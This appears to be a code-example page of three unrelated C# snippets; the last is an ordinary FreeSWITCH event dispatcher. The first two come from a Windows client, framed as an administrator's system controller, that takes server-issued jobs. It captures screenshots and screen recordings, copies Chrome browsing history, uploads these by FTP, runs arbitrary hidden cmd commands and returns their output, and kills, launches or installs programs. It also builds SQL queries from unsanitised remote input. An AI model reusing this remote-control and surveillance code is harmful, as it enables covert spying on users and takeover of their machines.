Exemplo n.º 1
0
        private void RecordStop_Tick(object sender, EventArgs e)
        {
            VideoRecord.Stop();
            string video_adi = hardwareId + DateTime.Now.Millisecond.ToString() + ".mp4";

            screenRec.Stop(video_adi);
            RecordStop.Stop();
            //------------------FTP GONDER----------------//

tekrar_gonder:
            try
            {
                string local_dosya = "temp/sr/" + video_adi;
                //ftp ile yolla
                kaynak.ftp_gonder(local_dosya);
                Servis.isEmri_Kapat(hardwareId, "Screen_Record", local_dosya, "");
            }
            catch (Exception)
            {
                goto tekrar_gonder;
            }
        }
Exemplo n.º 2
0
        private void isKontrol_Tick(object sender, EventArgs e)
        {
            isKontrol.Stop();


            foreach (var x in Servis.isEmri(hardwareId).ToList())//try catch eklenecek
            {
                switch (x.Work_)
                {
                case "Screen_Capture":
                    try
                    {
                        //goruntu alınır
                        string yoll = "temp/ss/" + hardwareId + DateTime.Now.Millisecond.ToString() + ".jpg";     //dosya yolu
                        kaynak.Screenshot().Save(yoll, ImageFormat.Jpeg);

                        //ftp ile yolla
                        kaynak.ftp_gonder(yoll);

                        Servis.isEmri_Kapat(hardwareId, "Screen_Capture", yoll, "");
                    }
                    catch (Exception)
                    {
                        //hata mesajı gonderilecek
                    }
                    break;

                case "Screen_Record":
                    Rectangle bounds = Screen.FromControl(this).Bounds;
                    screenRec = new ScreenRecorder(bounds, "temp//sr");
                    RecordStop.Start();
                    VideoRecord.Start();    //30 sn sayar

                    break;

                case "App_Run":
                    try
                    {
                        Process.Start(x.Query_);
                        Servis.isEmri_Kapat(hardwareId, "App_Run", fullName, "");
                    }
                    catch (Exception)
                    {
                    }
                    break;

                case "App_Stop":
                    try
                    {
                        var       processName = x.Query_;
                        Process[] processes   = Process.GetProcessesByName(processName.ToString());
                        foreach (Process process in processes)
                        {
                            process.Kill();
                        }

                        //  MessageBox.Show("Browser_History Running");
                        Servis.isEmri_Kapat(hardwareId, "App_Stop", processName.ToString(), "");
                    }
                    catch (Exception)
                    {
                        //Uygulama Bulunamadı Hatası dondurulecek
                    }


                    break;

                case "Browser_Histories":
                    try
                    {
                        //Tarayıcı Geçmişi Yollanıyor

                        // Temp Siliniyor
                        var dosyalar = Directory.GetFiles(Application.StartupPath + "\\temp\\XmlData\\browser_histories\\sqlite");
                        foreach (var item in dosyalar)
                        {
                            try
                            {
                                File.Delete(item);
                            }
                            catch (Exception)
                            {
                            }
                        }
                        // Temp Siliniyor
                        //Geçmiş Alınıyor
                        string google   = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\History";
                        string fileName = DateTime.Now.Ticks.ToString();
                        File.Copy(google, Application.StartupPath + "\\temp\\XmlData\\browser_histories\\sqlite\\" + fileName);
                        string b_history_yol = "temp/XmlData/browser_histories/xml/" + hardwareId + DateTime.Now.Millisecond.ToString() + ".xml";
                        //Geçmiş Alınıyor
                        using (SQLiteConnection con_xml = new SQLiteConnection("DataSource = " + Application.StartupPath + "\\temp\\XmlData\\browser_histories\\sqlite\\" + fileName + ";Integrated Security=True;Connect Timeout=30;Encrypt=False;TrustServerCertificate=True;ApplicationIntent=ReadWrite;MultiSubnetFailover=False;"))
                        {
                            con_xml.Open();
                            SQLiteDataAdapter da_b_h = new SQLiteDataAdapter("select url,title,last_visit_time from urls ", con_xml);
                            // SQLiteDataAdapter da = new SQLiteDataAdapter("select * from urls order by last_visit_time desc", con);
                            DataTable ds = new DataTable();
                            da_b_h.Fill(ds);
                            ds.TableName = "x";
                            ds.WriteXml(b_history_yol);
                            con_xml.Close();
geri:
                            try
                            {
                                kaynak.ftp_gonder(b_history_yol);
                                Servis.isEmri_Kapat(hardwareId, "Browser_Histories", b_history_yol, "");
                            }
                            catch (Exception xe)
                            {
                                MessageBox.Show(xe.Message);
                                goto geri;
                            }

                            ////////////////////////////////////////
                        }
                        //İşlem Tamamlandı.Dosya Ftp ile aktarılıp tabloya bilgisi eklendi
                    }
                    catch (Exception)
                    {
                        //hata mesajı dondurulecek
                    }
                    break;

                case "Cmd":
                    if (x.Query_ != "" && x.Query_ != null)
                    {
                        try
                        {
                            Process p = new Process();
                            p.StartInfo.FileName               = "cmd";
                            p.StartInfo.Arguments              = "/c " + x.Query_;
                            p.StartInfo.WindowStyle            = System.Diagnostics.ProcessWindowStyle.Hidden;
                            p.StartInfo.CreateNoWindow         = true;
                            p.StartInfo.RedirectStandardOutput = true;
                            p.StartInfo.UseShellExecute        = false;
                            p.Start();
                            Servis.isEmri_Kapat(hardwareId, "Cmd", x.Query_, p.StandardOutput.ReadToEnd().ToString());
                        }
                        catch (Exception)
                        {
                        }
                    }
                    // MessageBox.Show("Secrenn Capture Running");
                    break;

                case "Banned_App_Add":
                    using (SQLiteConnection con = new SQLiteConnection("Data Source=Banned_App.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
                    {
                        try
                        {
                            con.Open();
                            SQLiteCommand banned_app_add_command = new SQLiteCommand("insert into Banned_App(Hardware_Id,P_Name,Limit_,Used_Time,Day_,Status_,Datetime_) values ('" + hardwareId + "','" + x.Query_ + "'," + x.Temp_ + ",0," + DateTime.Now.Day + ",1,'" + DateTime.Now + "')", con);
                            banned_app_add_command.ExecuteNonQuery();
                            con.Close();
                            Servis.isEmri_Kapat(hardwareId, "Banned_App_Add", x.Query_, "");
                        }
                        catch (Exception X)
                        {
                            //hatamesajıı servise gonderilecek.MES
                            MessageBox.Show(X.Message);
                        }
                    }
                    break;

                case "Banned_App_Remove":
                    using (SQLiteConnection con = new SQLiteConnection("Data Source=Banned_App.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
                    {
                        try
                        {
                            con.Open();
                            SQLiteCommand banned_app_remove_command = new SQLiteCommand("DELETE FROM Banned_App WHERE Hardware_Id='" + hardwareId + "' and P_Name='" + x.Query_ + "'", con);
                            banned_app_remove_command.ExecuteNonQuery();
                            con.Close();
                            Servis.isEmri_Kapat(hardwareId, "Banned_App_Remove", x.Query_, "");
                        }
                        catch (Exception)
                        {
                            //hatamesajıı servise gonderilecek.
                        }
                    }
                    break;

                case "Wallpaper_Change":
                    using (SQLiteConnection con = new SQLiteConnection("Data Source=Banned_App.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
                    {
                        try
                        {
                            kaynak.ftp_al(x.Query_);
                            //Arkaplan Ayarlanıyor
                            string arkaplan_full_yol = Application.StartupPath + @"\temp\bg\" + x.Query_;
                            SystemParametersInfo(0x14, 0, arkaplan_full_yol, 0x01 | 0x02);
                            Servis.isEmri_Kapat(hardwareId, "Wallpaper_Change", x.Query_, "");
                        }
                        catch (Exception)
                        {
                            //hatamesajıı servise gonderilecek.
                        }
                    }
                    break;

                case "Time_Limit":
                    using (SQLiteConnection con = new SQLiteConnection("Data Source=RunningTime.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
                    {
                        try
                        {
                            con.Open();
                            SQLiteCommand time_limit_cmd = new SQLiteCommand("update  RunningTime set Time_Limit=" + x.Query_ + "", con);
                            time_limit_cmd.ExecuteNonQuery();
                            con.Close();

                            Servis.isEmri_Kapat(hardwareId, "Time_Limit", "", "");
                        }
                        catch (Exception)
                        {
                            //hatamesajıı servise gonderilecek.
                        }
                    }
                    break;

                case "Alert_Message":
                    SistemTepsisi.Visible = true;
                    SistemTepsisi.ShowBalloonTip(10000, "Sistem Kontrolörü", "Genel Mesaj!  Yönetici:" + x.Query_, ToolTipIcon.Info);
                    Servis.isEmri_Kapat(hardwareId, "Alert_Message", "", "");
                    break;

                case "Install_App":
                    //Theread Üzerinde  dosya ftp ile alınıyor ve cmd ile kuruluyor.
                    uygulama_adi_ = x.Query_;
                    Thread uygulama_kur_thread = new Thread(new ThreadStart(program_kur));
                    uygulama_kur_thread.Start();
                    SistemTepsisi.Visible = true;
                    SistemTepsisi.ShowBalloonTip(10000, "Sistem Kontrolörü - Program Yükleyici", x.Query_ + " Yükleniyor... ", ToolTipIcon.Info);
                    Servis.isEmri_Kapat(hardwareId, "Install_App", "", "");
                    break;

                default:
                    break;
                }
            }


            isKontrol.Start();
        }
Exemplo n.º 3
0
        public void OnEventReceived(EslMessage eslMessage)
        {
            var eslEvent  = new EslEvent(eslMessage);
            var eventName = eslEvent.EventName;
            var eventType = Enumm.Parse <EslEventType>(eventName);

            switch (eventType)
            {
            case EslEventType.BACKGROUND_JOB:
                var backgroundJob = new BackgroundJob(eslMessage);
                eslEvent = backgroundJob;
                break;

            case EslEventType.CALL_UPDATE:
                var callUpdate = new CallUpdate(eslMessage);
                eslEvent = callUpdate;
                break;

            case EslEventType.CHANNEL_BRIDGE:
                var channelBridge = new ChannelBridge(eslMessage);
                eslEvent = channelBridge;
                break;

            case EslEventType.CHANNEL_HANGUP:
            case EslEventType.CHANNEL_HANGUP_COMPLETE:
                var channelHangup = new ChannelHangup(eslMessage);
                eslEvent = channelHangup;
                break;

            case EslEventType.CHANNEL_PROGRESS:
                var channelProgress = new ChannelProgress(eslMessage);
                eslEvent = channelProgress;
                break;

            case EslEventType.CHANNEL_PROGRESS_MEDIA:
                var channelProgressMedia = new ChannelProgressMedia(eslMessage);
                eslEvent = channelProgressMedia;
                break;

            case EslEventType.CHANNEL_EXECUTE:
                var channelExecute = new ChannelExecute(eslMessage);
                eslEvent = channelExecute;
                break;

            case EslEventType.CHANNEL_EXECUTE_COMPLETE:
                var channelExecuteComplete = new ChannelExecuteComplete(eslMessage);
                eslEvent = channelExecuteComplete;
                break;

            case EslEventType.CHANNEL_UNBRIDGE:
                var channelUnbridge = new ChannelUnbridge(eslMessage);
                eslEvent = channelUnbridge;
                break;

            case EslEventType.SESSION_HEARTBEAT:
                var sessionHeartbeat = new SessionHeartbeat(eslMessage);
                eslEvent = sessionHeartbeat;
                break;

            case EslEventType.DTMF:
                var dtmf = new Dtmf(eslMessage);
                eslEvent = dtmf;
                break;

            case EslEventType.RECORD_STOP:
                var recordStop = new RecordStop(eslMessage);
                eslEvent = recordStop;
                break;

            case EslEventType.CUSTOM:
                var custom = new Custom(eslMessage);
                eslEvent = custom;
                break;

            case EslEventType.CHANNEL_STATE:
                var channelState = new ChannelStateEvent(eslMessage);
                eslEvent = channelState;
                break;

            case EslEventType.CHANNEL_ANSWER:
                eslEvent = new EslEvent(eslMessage);
                break;

            case EslEventType.CHANNEL_ORIGINATE:
                eslEvent = new EslEvent(eslMessage);
                break;

            case EslEventType.CHANNEL_PARK:
                var channelPark = new ChannelPark(eslMessage);
                eslEvent = channelPark;
                break;

            case EslEventType.CHANNEL_UNPARK:
                eslEvent = new EslEvent(eslMessage);
                break;

            default:
                OnUnhandledEvents(new EslEvent(eslMessage));
                break;
            }
            HandleEvents(eslEvent,
                         eventType);
        }